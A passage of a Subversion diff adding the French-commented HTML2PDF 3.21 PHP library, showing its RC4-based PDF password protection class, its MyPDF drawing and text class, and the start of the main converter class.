+ * owner_pass : mot de passe propriétaire. Par défaut, une valeur aléatoire est choisie.
+ * 
+ * Le tableau des permissions est composé de valeurs prises parmi les suivantes :
+ *		* copy : copie du texte et des images dans le presse-papier
+ *		* print : impression du document
+ *		* modify : modification (autre ques les annotations et les formulaires)
+ *		* annot-forms : ajout d'annotations ou de formulaires 
+ * 
+ * Remarque : la protection contre la modification concerne les personnes possédant la version complète d'Acrobat.
+ * 
+ * Si vous ne spécifiez pas de mot de passe, le document s'ouvrira normalement. Si vous indiquez un mot de passe utilisateur,
+ * le lecteur de PDF le demandera avant d'afficher le document. Le mot de passe propriétaire, s'il est différent de celui utilisateur,
+ * permet d'obtenir l'accès complet.
+ * 
+ * Note : protéger un document nécessite de le crypter, ce qui augmente le temps de traitement de manière importante.
+ * Cela peut dans certains cas entraîner un time-out au niveau de PHP, en particulier si le document contient des
+ * images ou des polices.
+ ************************************************************************/
+
+if (!defined('__CLASS_FPDF_PROTECTION__'))
+{
+	define('__CLASS_FPDF_PROTECTION__', true);
+	
+	require_once(dirname(__FILE__).'/02_fpdf_formulaire.class.php');
+	
+	class FPDF_Protection extends FPDF_Formulaire
+	{
+		var $encrypted;			//whether document is protected
+		var $Uvalue;			//U entry in pdf document
+		var $Ovalue;			//O entry in pdf document
+		var $Pvalue;			//P entry in pdf document
+		var $enc_obj_id;		//encryption object id
+		var $last_rc4_key;		//last RC4 key encrypted (cached for optimisation)
+		var $last_rc4_key_c;	//last RC4 computed key
+	
+		function FPDF_Protection($orientation='P',$unit='mm',$format='A4')
+		{
+			$this->FPDF_Formulaire($orientation,$unit,$format);
+	
+			$this->encrypted=false;
+			$this->last_rc4_key='';
+			$this->padding="\x28\xBF\x4E\x5E\x4E\x75\x8A\x41\x64\x00\x4E\x56\xFF\xFA\x01\x08".
+							"\x2E\x2E\x00\xB6\xD0\x68\x3E\x80\x2F\x0C\xA9\xFE\x64\x53\x69\x7A";
+		}
+	
+		/**
+		* Function to set permissions as well as user and owner passwords
+		*
+		* - permissions is an array with values taken from the following list:
+		*	copy, print, modify, annot-forms
+		*	If a value is present it means that the permission is granted
+		* - If a user password is set, user will be prompted before document is opened
+		* - If an owner password is set, document can be opened in privilege mode with no
+		*	restriction if that password is entered
+		*/
+		function SetProtection($permissions=array(),$user_pass='',$owner_pass=null)
+		{
+			$options = array('print' => 4, 'modify' => 8, 'copy' => 16, 'annot-forms' => 32 );
+			$protection = 192;
+			foreach($permissions as $permission){
+				if (!isset($options[$permission]))
+					$this->Error('Incorrect permission: '.$permission);
+				$protection += $options[$permission];
+			}
+			if ($owner_pass === null)
+				$owner_pass = uniqid(rand());
+			$this->encrypted = true;
+			$this->_generateencryptionkey($user_pass, $owner_pass, $protection);
+		}
+
+/****************************************************************************
+*																			*
+*								Private methods								*
+*																			*
+****************************************************************************/
+
+		function _putstream($s)
+		{
+			if ($this->encrypted) {
+				$s = $this->_RC4($this->_objectkey($this->n), $s);
+			}
+			parent::_putstream($s);
+		}
+	
+		function _textstring($s)
+		{
+			if ($this->encrypted) {
+				$s = $this->_RC4($this->_objectkey($this->n), $s);
+			}
+			return parent::_textstring($s);
+		}
+	
+		/**
+		* Compute key depending on object number where the encrypted data is stored
+		*/
+		function _objectkey($n)
+		{
+			return substr($this->_md5_16($this->encryption_key.pack('VXxx',$n)),0,10);
+		}
+	
+		function _putresources()
+		{
+			parent::_putresources();
+			if ($this->encrypted) {
+				$this->_newobj();
+				$this->enc_obj_id = $this->n;
+				$this->_out('<<');
+				$this->_putencryption();
+				$this->_out('>>');
+				$this->_out('endobj');
+			}
+		}
+	
+		function _putencryption()
+		{
+			$this->_out('/Filter /Standard');
+			$this->_out('/V 1');
+			$this->_out('/R 2');
+			$this->_out('/O ('.$this->_escape($this->Ovalue).')');
+			$this->_out('/U ('.$this->_escape($this->Uvalue).')');
+			$this->_out('/P '.$this->Pvalue);
+		}
+	
+		function _puttrailer()
+		{
+			parent::_puttrailer();
+			if ($this->encrypted) {
+				$this->_out('/Encrypt '.$this->enc_obj_id.' 0 R');
+				$this->_out('/ID [()()]');
+			}
+		}
+	
+		/**
+		* RC4 is the standard encryption algorithm used in PDF format
+		*/
+		function _RC4($key, $text)
+		{
+			if ($this->last_rc4_key != $key) {
+				$k = str_repeat($key, 256/strlen($key)+1);
+				$rc4 = range(0,255);
+				$j = 0;
+				for ($i=0; $i<256; $i++){
+					$t = $rc4[$i];
+					$j = ($j + $t + ord($k{$i})) % 256;
+					$rc4[$i] = $rc4[$j];
+					$rc4[$j] = $t;
+				}
+				$this->last_rc4_key = $key;
+				$this->last_rc4_key_c = $rc4;
+			} else {
+				$rc4 = $this->last_rc4_key_c;
+			}
+	
+			$len = strlen($text);
+			$a = 0;
+			$b = 0;
+			$out = '';
+			for ($i=0; $i<$len; $i++){
+				$a = ($a+1)%256;
+				$t= $rc4[$a];
+				$b = ($b+$t)%256;
+				$rc4[$a] = $rc4[$b];
+				$rc4[$b] = $t;
+				$k = $rc4[($rc4[$a]+$rc4[$b])%256];
+				$out.=chr(ord($text{$i}) ^ $k);
+			}
+	
+			return $out;
+		}
+	
+		/**
+		* Get MD5 as binary string
+		*/
+		function _md5_16($string)
+		{
+			return pack('H*',md5($string));
+		}
+	
+		/**
+		* Compute O value
+		*/
+		function _Ovalue($user_pass, $owner_pass)
+		{
+			$tmp = $this->_md5_16($owner_pass);
+			$owner_RC4_key = substr($tmp,0,5);
+			return $this->_RC4($owner_RC4_key, $user_pass);
+		}
+	
+		/**
+		* Compute U value
+		*/
+		function _Uvalue()
+		{
+			return $this->_RC4($this->encryption_key, $this->padding);
+		}
+	
+		/**
+		* Compute encryption key
+		*/
+		function _generateencryptionkey($user_pass, $owner_pass, $protection)
+		{
+			// Pad passwords
+			$user_pass = substr($user_pass.$this->padding,0,32);
+			$owner_pass = substr($owner_pass.$this->padding,0,32);
+			// Compute O value
+			$this->Ovalue = $this->_Ovalue($user_pass,$owner_pass);
+			// Compute encyption key
+			$tmp = $this->_md5_16($user_pass.$this->Ovalue.chr($protection)."\xFF\xFF\xFF");
+			$this->encryption_key = substr($tmp,0,5);
+			// Compute U value
+			$this->Uvalue = $this->_Uvalue();
+			// Compute P value
+			$this->Pvalue = -(($protection^255)+1);
+		}
+	}
+}
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_mypdf/mypdf.class.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_mypdf/mypdf.class.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_mypdf/mypdf.class.php	(revision 44)
@@ -0,0 +1,485 @@
+<?php
+/**
+ * Logiciel : HTML2PDF - classe MyPDF
+ * 
+ * Convertisseur HTML => PDF, utilise fpdf de Olivier PLATHEY 
+ * Distribué sous la licence GPL. 
+ *
+ * @author		Laurent MINGUET <webmaster@spipu.net>
+ * @version		3.21 - 05/05/2009
+ */
+
+if (!defined('__CLASS_MYPDF__'))
+{
+	define('__CLASS_MYPDF__', true);
+	
+	require_once(dirname(__FILE__).'/99_fpdf_protection.class.php');		// classe fpdf_protection
+
+	class MyPDF extends FPDF_Protection
+	{
+		var $footer_param = array();
+		
+		var $underline		= false;
+		var $overline		= false;
+		var $linethrough	= false;
+			
+		function MyPDF($sens = 'P', $unit = 'mm', $format = 'A4')
+		{
+			$this->underline	= false;
+			$this->overline		= false;
+			$this->linethrough	= false;
+			
+			$this->FPDF_Protection($sens, $unit, $format);
+			$this->AliasNbPages();
+			$this->SetMyFooter();
+		}
+		
+		function SetMyFooter($page = null, $date = null, $heure = null, $form = null)
+		{
+			if ($page===null)	$page	= null;
+			if ($date===null)	$date	= null;
+			if ($heure===null)	$heure	= null;
+			if ($form===null)	$form	= null;
+			
+			$this->footer_param = array('page' => $page, 'date' => $date, 'heure' => $heure, 'form' => $form);	
+		}
+		
+		function Footer()
+		{ 
+			$txt = '';
+			if ($this->footer_param['form'])	$txt = (HTML2PDF::textGET('pdf05'));
+			if ($this->footer_param['date'] && $this->footer_param['heure'])	$txt.= ($txt ? ' - ' : '').(HTML2PDF::textGET('pdf03'));
+			if ($this->footer_param['date'] && !$this->footer_param['heure'])	$txt.= ($txt ? ' - ' : '').(HTML2PDF::textGET('pdf01'));
+			if (!$this->footer_param['date'] && $this->footer_param['heure'])	$txt.= ($txt ? ' - ' : '').(HTML2PDF::textGET('pdf02'));
+			if ($this->footer_param['page'])	$txt.= ($txt ? ' - ' : '').(HTML2PDF::textGET('pdf04'));
+			
+			$txt = str_replace('[[date_d]]',	date('d'),			$txt);
+			$txt = str_replace('[[date_m]]',	date('m'),			$txt);
+			$txt = str_replace('[[date_y]]',	date('Y'),			$txt);
+			$txt = str_replace('[[date_h]]',	date('H'),			$txt);
+			$txt = str_replace('[[date_i]]',	date('i'),			$txt);
+			$txt = str_replace('[[date_s]]',	date('s'),			$txt);
+			$txt = str_replace('[[current]]',	$this->PageNo(),	$txt);
+			$txt = str_replace('[[nb]]',		'{nb}',				$txt);
+
+			if (strlen($txt)>0)
+			{
+			 	$this->SetY(-11);
+			 	$this->setOverline(false);
+			 	$this->setLinethrough(false);
+				$this->SetFont('Arial','I',8);
+				$this->Cell(0, 10, $txt, 0, 0, 'R');
+			}
+		}
+		
+		// redéfinition de la fonction Image de FPDF afin de rajouter la gestion des fichiers PHP
+		function Image($file, $x=null, $y=null, $w=0, $h=0, $type='', $link='')
+		{
+			//Put an image on the page
+			if(!isset($this->images[$file]))
+			{
+				//First use of this image, get info
+				if($type=='')
+				{
+					/* MODIFICATION HTML2PDF pour le support des images PHP */
+					$type = explode('?', $file);
+					$type = pathinfo($type[0]);
+					if (!isset($type['extension']) || !$type['extension'])
+						$this->Error('Image file has no extension and no type was specified: '.$file);
+						
+					$type = $type['extension'];
+					/* FIN MODIFICATION */
+				}
+
+				$type=strtolower($type);
+
+				/* MODIFICATION HTML2PDF pour le support des images PHP */
+				if ($type=='php')
+				{
+					// identification des infos
+					$infos=@GetImageSize($file);
+					if (!$infos) $this->Error('Unsupported image : '.$file);
+				
+					// identification du type
+					$type = explode('/', $infos['mime']);
+					if ($type[0]!='image') $this->Error('Unsupported image : '.$file);
+					$type = $type[1];
+				}
+				/* FIN MODIFICATION */
+				
+				if($type=='jpeg')
+					$type='jpg';
+				$mtd='_parse'.$type;
+				if(!method_exists($this,$mtd))
+					$this->Error('Unsupported image type: '.$type);
+				$info=$this->$mtd($file);
+				$info['i']=count($this->images)+1;
+				$this->images[$file]=$info;
+			}
+			else
+				$info=$this->images[$file];
+			//Automatic width and height calculation if needed
+			if($w==0 && $h==0)
+			{
+				//Put image at 72 dpi
+				$w=$info['w']/$this->k;
+				$h=$info['h']/$this->k;
+			}
+			elseif($w==0)
+				$w=$h*$info['w']/$info['h'];
+			elseif($h==0)
+				$h=$w*$info['h']/$info['w'];
+			//Flowing mode
+			if($y===null)
+			{
+				if($this->y+$h>$this->PageBreakTrigger && !$this->InHeader && !$this->InFooter && $this->AcceptPageBreak())
+				{
+					//Automatic page break
+					$x2=$this->x;
+					$this->AddPage($this->CurOrientation,$this->CurPageFormat);
+					$this->x=$x2;
+				}
+				$y=$this->y;
+				$this->y+=$h;
+			}
+			if($x===null)
+				$x=$this->x;
+				
+			$this->_out(sprintf('q %.2F 0 0 %.2F %.2F %.2F cm /I%d Do Q',$w*$this->k,$h*$this->k,$x*$this->k,($this->h-($y+$h))*$this->k,$info['i']));
+			if($link)
+				$this->Link($x,$y,$w,$h,$link);
+		}
+		
+		// Draw a polygon
+		// Auteur	: Andrew Meier
+		// Licence	: Freeware
+		function Polygon($points, $style='D')
+		{
+			if($style=='F')							$op='f';
+			elseif($style=='FD' or $style=='DF')	$op='b';
+			else									$op='s';
+		
+			$h = $this->h;
+			$k = $this->k;
+		
+			$points_string = '';
+			for($i=0; $i<count($points); $i+=2)
+			{
+				$points_string .= sprintf('%.2f %.2f', $points[$i]*$k, ($h-$points[$i+1])*$k);
+				if($i==0)	$points_string .= ' m ';
+				else		$points_string .= ' l ';
+			}
+			$this->_out($points_string . $op);
+		}
+		
+		function setOverline($value = true)
+		{
+			$this->overline = $value;
+		}
+
+		function setLinethrough($value = true)
+		{
+			$this->linethrough = $value;
+		}
+		
+		// redéfinition de la methode Text de FPDF afin de rajouter la gestion des overline et linethrough
+		function Text($x, $y, $txt)
+		{
+			//Output a string
+			$s=sprintf('BT %.2F %.2F Td (%s) Tj ET',$x*$this->k,($this->h-$y)*$this->k,$this->_escape($txt));
+
+			/* MODIFICATION HTML2PDF pour le support de underline, overline, linethrough */
+			if ($txt!='')
+			{
+				if($this->underline)	$s.=' '.$this->_dounderline($x,$y,$txt);
+				if($this->overline)		$s.=' '.$this->_dooverline($x,$y,$txt);
+				if($this->linethrough)	$s.=' '.$this->_dolinethrough($x,$y,$txt);
+			}
+			/* FIN MODIFICATION */
+
+			if($this->ColorFlag)
+				$s='q '.$this->TextColor.' '.$s.' Q';
+			$this->_out($s);
+		}
+
+		// redéfinition de la methode Cell de FPDF afin de rajouter la gestion des overline et linethrough
+		function Cell($w, $h=0, $txt='', $border=0, $ln=0, $align='', $fill=false, $link='')
+		{
+			//Output a cell
+			$k=$this->k;
+			if($this->y+$h>$this->PageBreakTrigger && !$this->InHeader && !$this->InFooter && $this->AcceptPageBreak())
+			{
+				//Automatic page break
+				$x=$this->x;
+				$ws=$this->ws;
+				if($ws>0)
+				{
+					$this->ws=0;
+					$this->_out('0 Tw');
+				}
+				$this->AddPage($this->CurOrientation,$this->CurPageFormat);
+				$this->x=$x;
+				if($ws>0)
+				{
+					$this->ws=$ws;
+					$this->_out(sprintf('%.3F Tw',$ws*$k));
+				}
+			}
+			if($w==0)
+				$w=$this->w-$this->rMargin-$this->x;
+			$s='';
+			if($fill || $border==1)
+			{
+				if($fill)
+					$op=($border==1) ? 'B' : 'f';
+				else
+					$op='S';
+				$s=sprintf('%.2F %.2F %.2F %.2F re %s ',$this->x*$k,($this->h-$this->y)*$k,$w*$k,-$h*$k,$op);
+			}
+			if(is_string($border))
+			{
+				$x=$this->x;
+				$y=$this->y;
+				if(strpos($border,'L')!==false)
+					$s.=sprintf('%.2F %.2F m %.2F %.2F l S ',$x*$k,($this->h-$y)*$k,$x*$k,($this->h-($y+$h))*$k);
+				if(strpos($border,'T')!==false)
+					$s.=sprintf('%.2F %.2F m %.2F %.2F l S ',$x*$k,($this->h-$y)*$k,($x+$w)*$k,($this->h-$y)*$k);
+				if(strpos($border,'R')!==false)
+					$s.=sprintf('%.2F %.2F m %.2F %.2F l S ',($x+$w)*$k,($this->h-$y)*$k,($x+$w)*$k,($this->h-($y+$h))*$k);
+				if(strpos($border,'B')!==false)
+					$s.=sprintf('%.2F %.2F m %.2F %.2F l S ',$x*$k,($this->h-($y+$h))*$k,($x+$w)*$k,($this->h-($y+$h))*$k);
+			}
+			if($txt!=='')
+			{
+				if($align=='R')
+					$dx=$w-$this->cMargin-$this->GetStringWidth($txt);
+				elseif($align=='C')
+					$dx=($w-$this->GetStringWidth($txt))/2;
+				else
+					$dx=$this->cMargin;
+				if($this->ColorFlag)
+					$s.='q '.$this->TextColor.' ';
+				$txt2=str_replace(')','\\)',str_replace('(','\\(',str_replace('\\','\\\\',$txt)));
+				$s.=sprintf('BT %.2F %.2F Td (%s) Tj ET',($this->x+$dx)*$k,($this->h-($this->y+.5*$h+.3*$this->FontSize))*$k,$txt2);
+				
+				/* MODIFICATION HTML2PDF pour le support de underline, overline, linethrough */
+				if($this->underline)	$s.=' '.$this->_dounderline($this->x+$dx,$this->y+.5*$h+.3*$this->FontSize,$txt);
+				if($this->overline)		$s.=' '.$this->_dooverline($this->x+$dx,$this->y+.5*$h+.3*$this->FontSize,$txt);
+				if($this->linethrough)	$s.=' '.$this->_dolinethrough($this->x+$dx,$this->y+.5*$h+.3*$this->FontSize,$txt);
+				/* FIN MODIFICATION */
+				
+				if($this->ColorFlag)
+					$s.=' Q';
+				if($link)
+					$this->Link($this->x+$dx,$this->y+.5*$h-.5*$this->FontSize,$this->GetStringWidth($txt),$this->FontSize,$link);
+			}
+			if($s)
+				$this->_out($s);
+			$this->lasth=$h;
+			if($ln>0)
+			{
+				//Go to next line
+				$this->y+=$h;
+				if($ln==1)
+					$this->x=$this->lMargin;
+			}
+			else
+				$this->x+=$w;
+		}
+
+		function _dounderline($x, $y, $txt)
+		{
+			//Underline text
+			$up=$this->CurrentFont['up'];
+			$ut=$this->CurrentFont['ut'];
+
+			$p_x = $x*$this->k;
+			$p_y = ($this->h-($y-$up/1000*$this->FontSize))*$this->k;
+			$p_w = ($this->GetStringWidth($txt)+$this->ws*substr_count($txt,' '))*$this->k;
+			$p_h = -$ut/1000*$this->FontSizePt;
+
+			return sprintf('%.2F %.2F %.2F %.2F re f',$p_x,$p_y,$p_w,$p_h);
+		}
+		
+		function _dooverline($x, $y, $txt)
+		{
+			//Overline text
+			$up=$this->CurrentFont['up'];
+			$ut=$this->CurrentFont['ut'];
+
+			$p_x = $x*$this->k;
+			$p_y = ($this->h-($y-(1000+1.5*$up)/1000*$this->FontSize))*$this->k;
+			$p_w = ($this->GetStringWidth($txt)+$this->ws*substr_count($txt,' '))*$this->k;
+			$p_h = -$ut/1000*$this->FontSizePt;
+			
+			return sprintf('%.2F %.2F %.2F %.2F re f',$p_x,$p_y,$p_w,$p_h);
+		}
+		
+		function _dolinethrough($x, $y, $txt)
+		{
+			//Linethrough text
+			$up=$this->CurrentFont['up'];
+			$ut=$this->CurrentFont['ut'];
+
+			$p_x = $x*$this->k;
+			$p_y = ($this->h-($y-(1000+2.5*$up)/2000*$this->FontSize))*$this->k;
+			$p_w = ($this->GetStringWidth($txt)+$this->ws*substr_count($txt,' '))*$this->k;
+			$p_h = -$ut/1000*$this->FontSizePt;
+			
+			return sprintf('%.2F %.2F %.2F %.2F re f',$p_x,$p_y,$p_w,$p_h);
+		}
+		
+		function clippingPathOpen($x = null, $y = null, $w = null, $h = null, $coin_TL=null, $coin_TR=null, $coin_BL=null, $coin_BR=null)
+		{
+			$path = '';
+			if ($x!==null && $y!==null && $w!==null && $h!==null)
+			{
+				$x1 = $x*$this->k;
+				$y1 = ($this->h-$y)*$this->k;
+
+				$x2 = ($x+$w)*$this->k;
+				$y2 = ($this->h-$y)*$this->k;
+
+				$x3 = ($x+$w)*$this->k;
+				$y3 = ($this->h-$y-$h)*$this->k;
+
+				$x4 = $x*$this->k;
+				$y4 = ($this->h-$y-$h)*$this->k;
+				
+				if ($coin_TL || $coin_TR || $coin_BL || $coin_BR)
+				{
+					if ($coin_TL) { $coin_TL[0] = $coin_TL[0]*$this->k; $coin_TL[1] =-$coin_TL[1]*$this->k; }
+					if ($coin_TR) { $coin_TR[0] = $coin_TR[0]*$this->k; $coin_TR[1] =-$coin_TR[1]*$this->k; }
+					if ($coin_BL) { $coin_BL[0] = $coin_BL[0]*$this->k; $coin_BL[1] =-$coin_BL[1]*$this->k; }
+					if ($coin_BR) { $coin_BR[0] = $coin_BR[0]*$this->k; $coin_BR[1] =-$coin_BR[1]*$this->k; }
+
+					$MyArc = 4/3 * (sqrt(2) - 1);
+					
+					if ($coin_TL)
+						$path.= sprintf('%.2f %.2f m ', $x1+$coin_TL[0], $y1);
+					else
+						$path.= sprintf('%.2f %.2f m ', $x1, $y1);
+					
+					if ($coin_TR)
+					{
+						$xt1 = ($x2-$coin_TR[0])+$coin_TR[0]*$MyArc;
+						$yt1 = ($y2+$coin_TR[1])-$coin_TR[1];
+						$xt2 = ($x2-$coin_TR[0])+$coin_TR[0];
+						$yt2 = ($y2+$coin_TR[1])-$coin_TR[1]*$MyArc;
+
+						$path.= sprintf('%.2f %.2f l ', $x2-$coin_TR[0], $y2);						
+						$path.= sprintf('%.2f %.2f %.2f %.2f %.2f %.2f c ', $xt1, $yt1, $xt2, $yt2, $x2, $y2+$coin_TR[1]);
+					}
+					else
+						$path.= sprintf('%.2f %.2f l ', $x2, $y2);
+
+					if ($coin_BR)
+					{
+						$xt1 = ($x3-$coin_BR[0])+$coin_BR[0];
+						$yt1 = ($y3-$coin_BR[1])+$coin_BR[1]*$MyArc;
+						$xt2 = ($x3-$coin_BR[0])+$coin_BR[0]*$MyArc;
+						$yt2 = ($y3-$coin_BR[1])+$coin_BR[1];
+
+						$path.= sprintf('%.2f %.2f l ', $x3, $y3-$coin_BR[1]);						
+						$path.= sprintf('%.2f %.2f %.2f %.2f %.2f %.2f c ', $xt1, $yt1, $xt2, $yt2, $x3-$coin_BR[0], $y3);
+					}
+					else
+						$path.= sprintf('%.2f %.2f l ', $x3, $y3);
+
+					if ($coin_BL)
+					{
+						$xt1 = ($x4+$coin_BL[0])-$coin_BL[0]*$MyArc;
+						$yt1 = ($y4-$coin_BL[1])+$coin_BL[1];
+						$xt2 = ($x4+$coin_BL[0])-$coin_BL[0];
+						$yt2 = ($y4-$coin_BL[1])+$coin_BL[1]*$MyArc;
+
+						$path.= sprintf('%.2f %.2f l ', $x4+$coin_BL[0], $y4);						
+						$path.= sprintf('%.2f %.2f %.2f %.2f %.2f %.2f c ', $xt1, $yt1, $xt2, $yt2, $x4, $y4-$coin_BL[1]);
+					}
+					else
+						$path.= sprintf('%.2f %.2f l ', $x4, $y4);
+				
+					if ($coin_TL)
+					{
+						$xt1 = ($x1+$coin_TL[0])-$coin_TL[0];
+						$yt1 = ($y1+$coin_TL[1])-$coin_TL[1]*$MyArc;
+						$xt2 = ($x1+$coin_TL[0])-$coin_TL[0]*$MyArc;
+						$yt2 = ($y1+$coin_TL[1])-$coin_TL[1];
+
+						$path.= sprintf('%.2f %.2f l ', $x1, $y1+$coin_TL[1]);						
+						$path.= sprintf('%.2f %.2f %.2f %.2f %.2f %.2f c ', $xt1, $yt1, $xt2, $yt2, $x1+$coin_TL[0], $y1);
+					}
+				}
+				else
+				{
+					$path.= sprintf('%.2f %.2f m ', $x1, $y1);
+					$path.= sprintf('%.2f %.2f l ', $x2, $y2);
+					$path.= sprintf('%.2f %.2f l ', $x3, $y3);
+					$path.= sprintf('%.2f %.2f l ', $x4, $y4);
+				}
+
+				$path.= ' h W n';
+			}
+			$this->_out('q '.$path.' ');			
+		}
+		
+		function clippingPathClose()
+		{
+			$this->_out(' Q');
+		}
+		
+		function drawCourbe($ext1_x, $ext1_y, $ext2_x, $ext2_y, $int1_x, $int1_y, $int2_x, $int2_y, $cen_x, $cen_y)
+		{
+			$MyArc = 4/3 * (sqrt(2) - 1);
+			
+			$ext1_x = $ext1_x*$this->k; $ext1_y = ($this->h-$ext1_y)*$this->k;
+			$ext2_x = $ext2_x*$this->k; $ext2_y = ($this->h-$ext2_y)*$this->k;
+			$int1_x = $int1_x*$this->k; $int1_y = ($this->h-$int1_y)*$this->k;
+			$int2_x = $int2_x*$this->k; $int2_y = ($this->h-$int2_y)*$this->k;
+			$cen_x	= $cen_x*$this->k;	$cen_y	= ($this->h-$cen_y) *$this->k;
+			
+			$path = '';
+			
+			if ($ext1_x-$cen_x!=0)
+			{
+				$xt1 = $cen_x+($ext1_x-$cen_x);
+				$yt1 = $cen_y+($ext2_y-$cen_y)*$MyArc;
+				$xt2 = $cen_x+($ext1_x-$cen_x)*$MyArc;
+				$yt2 = $cen_y+($ext2_y-$cen_y);
+			}
+			else
+			{
+				$xt1 = $cen_x+($ext2_x-$cen_x)*$MyArc;
+				$yt1 = $cen_y+($ext1_y-$cen_y);
+				$xt2 = $cen_x+($ext2_x-$cen_x);
+				$yt2 = $cen_y+($ext1_y-$cen_y)*$MyArc;
+
+			}
+
+			$path.= sprintf('%.2f %.2f m ', $ext1_x, $ext1_y);
+			$path.= sprintf('%.2f %.2f %.2f %.2f %.2f %.2f c ', $xt1, $yt1, $xt2, $yt2, $ext2_x, $ext2_y);
+
+			if ($int1_x-$cen_x!=0)
+			{
+				$xt1 = $cen_x+($int1_x-$cen_x)*$MyArc;
+				$yt1 = $cen_y+($int2_y-$cen_y);
+				$xt2 = $cen_x+($int1_x-$cen_x);
+				$yt2 = $cen_y+($int2_y-$cen_y)*$MyArc;
+			}
+			else
+			{
+				$xt1 = $cen_x+($int2_x-$cen_x);
+				$yt1 = $cen_y+($int1_y-$cen_y)*$MyArc;
+				$xt2 = $cen_x+($int2_x-$cen_x)*$MyArc;
+				$yt2 = $cen_y+($int1_y-$cen_y);
+
+			}
+			
+			$path.= sprintf('%.2f %.2f l ', $int2_x, $int2_y);
+			$path.= sprintf('%.2f %.2f %.2f %.2f %.2f %.2f c ', $xt1, $yt1, $xt2, $yt2, $int1_x, $int1_y);
+
+			$this->_out($path . 'f');
+		}
+	}
+}
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/html2pdf.class.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/html2pdf.class.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/html2pdf.class.php	(revision 44)
@@ -0,0 +1,4301 @@
+<?php
+/**
+ * Logiciel : HTML2PDF
+ * 
+ * Convertisseur HTML => PDF, utilise fpdf de Olivier PLATHEY 
+ * Distribué sous la licence GPL. 
+ *
+ * @author		Laurent MINGUET <webmaster@spipu.net>
+ * @version		3.21 - 05/05/2009
+ */
+
+if (!defined('__CLASS_HTML2PDF__'))
+{
+	define('__CLASS_HTML2PDF__', '3.21');
+
+	// vous pouvez utiliser cette fonction de debug comme suit
+	// pour voir le temps et la mémoire utilisés (sous linux) pour la conversion :
+	//	echo HTML2PDFgetTimerDebug();
+	//	$html2pdf->WriteHTML($content);
+	//	echo HTML2PDFgetTimerDebug();
+	function HTML2PDFgetTimerDebug($debug=false) 
+	{
+		global $TIMER_ACTION_LAST;
+		list($usec, $sec) = explode(" ", microtime()); 
+		$time = (float)$sec + (float)$usec;
+		$mem =	HTML2PDFgetMem();
+		
+		if (!$TIMER_ACTION_LAST)
+		{
+			if ($debug)	$ret = null;
+			else		$ret = 'Debug : init'."<br />\n"; 
+		}
+		else
+		{
+			$aff_time	= $time-$TIMER_ACTION_LAST[0];
+			$aff_mem	= $mem;
+			if ($debug)	$ret = array($aff_time, $aff_mem);
+			else		$ret = 'Timer : '.number_format($aff_time, 3, '.', '').'s - Memory used '.$aff_mem.' Ko'."<br />\n";
+		}
+		$TIMER_ACTION_LAST = array($time, $mem);
+		return $ret;
+	}
+	function HTML2PDFgetMem() { return function_exists('memory_get_usage') ? floor(memory_get_usage()/1024) : 0; }
+
+	require_once(dirname(__FILE__).'/_mypdf/mypdf.class.php');	// classe mypdf dérivé de fpdf de Olivier PLATHEY 
+	require_once(dirname(__FILE__).'/parsingHTML.class.php');	// classe de parsing HTML
+	require_once(dirname(__FILE__).'/styleHTML.class.php');		// classe de gestion des styles
+
+	global $HTML2PDF_TABLEAU;	$HTML2PDF_TABLEAU = array();	// tableau global necessaire à la gestion des tables imbriquées 
+
+	class HTML2PDF
+	{
+		var $langue			= 'fr';		// langue des messages
+		var $sens			= 'P';		// sens d'affichage Portrait ou Landscape
+		var $format			= 'A4';		// format de la page : A4, A3, ...
+		var $background		= array();	// informations sur le background
+		var $testTDin1page	= true;		// activer le test de TD ne devant pas depasser une page
+		
+		var $style			= null;		// objet de style
+		var $parsing		= null;		// objet de parsing
+		var $parse_pos		= 0;		// position du parsing
+		var $temp_pos		= 0;		// position temporaire pour multi tableau
+		
+		var $sub_html		= null;		// sous html
+		var $sub_part		= false;	// indicateur de sous html
+		var $isSubPart		= false;	// indique que le convertisseur courant est un sous html
+		
+		var $pdf			= null;		// objet PDF
+		var $maxX			= 0;		// zone maxi X
+		var $maxY			= 0;		// zone maxi Y
+
+		var $FirstPage		= true;		// premier page
+		
+		var $defaultLeft	= 0;		// marges par default de la page
+		var $defaultTop		= 0;
+		var $defaultRight	= 0;
+		var $defaultBottom	= 0;
+		
+		var $margeLeft		= 0;		//marges réelles de la page
+		var $margeTop		= 0;
+		var $margeRight		= 0;
+		var $margeBottom	= 0;
+		var $marges			= array();
+		var $Maxs			= array();
+		
+		var $maxH			= 0;		// plus grande hauteur dans la ligne, pour saut de ligne à corriger
+		var $inLink			= '';		// indique si on est à l'interieur d'un lien
+		var $lstAncre		= array();	// liste des ancres détectées ou créées
+		var $subHEADER		= array();	// tableau des sous commandes pour faire l'HEADER
+		var $subFOOTER		= array();	// tableau des sous commandes pour faire le FOOTER
+		var $subSTATES		= array();	// tableau de sauvegarde de certains paramètres
+		var $defLIST		= array();	// tableau de sauvegarde de l'etat des UL et OL
+		
+		var $lstChamps		= array();	// liste des champs
+		var $lstSelect		= array();	// options du select en cours
+		var $previousCall	= null;		// dernier appel
+		var $isInTfoot		= false;	// indique si on est dans un tfoot
+		var $pageMarges		= array();	// marges spécifiques dues aux floats
+		var $isAfterFloat	= false;	// indique si on est apres un float
+		
+		/**
+		 * Constructeur
+		 *
+		 * @param	string		sens portrait ou landscape
+		 * @param	string		format A4, A5, ...
+		 * @param	string		langue : fr, en, it...
+		 * @param	array		marges par defaut, dans l'ordre (left, top, right, bottom)
+		 * @param	boolean		forcer la création de la premiere page, ne pas utiliser, c'est utilisé en interne pour la gestion des tableaux
+		 * @return	null
+		 */
+		function HTML2PDF($sens = 'P', $format = 'A4', $langue='fr', $marges = array(5, 5, 5, 8), $force_page = false)
+		{
+			// sauvegarde des paramètres 
+			$this->sens			= $sens;
+			$this->format		= $format;
+			$this->FirstPage	= true;
+			$this->langue		= strtolower($langue);
+			$this->setTestTdInOnePage(true);
+			
+			// chargement du fichier de langue
+			$this->textLOAD($this->langue);
+			
+			// création de l' objet PDF
+			$this->pdf = new MyPDF($sens, 'mm', $format);
+
+			// initialisation des styles
+			$this->style = new styleHTML($this->pdf);
+			$this->style->FontSet();
+			$this->defLIST = array();
+			
+			// initialisation du parsing
+			$this->parsing = new parsingHTML();
+			$this->sub_html = null; 
+			$this->sub_part	= false;
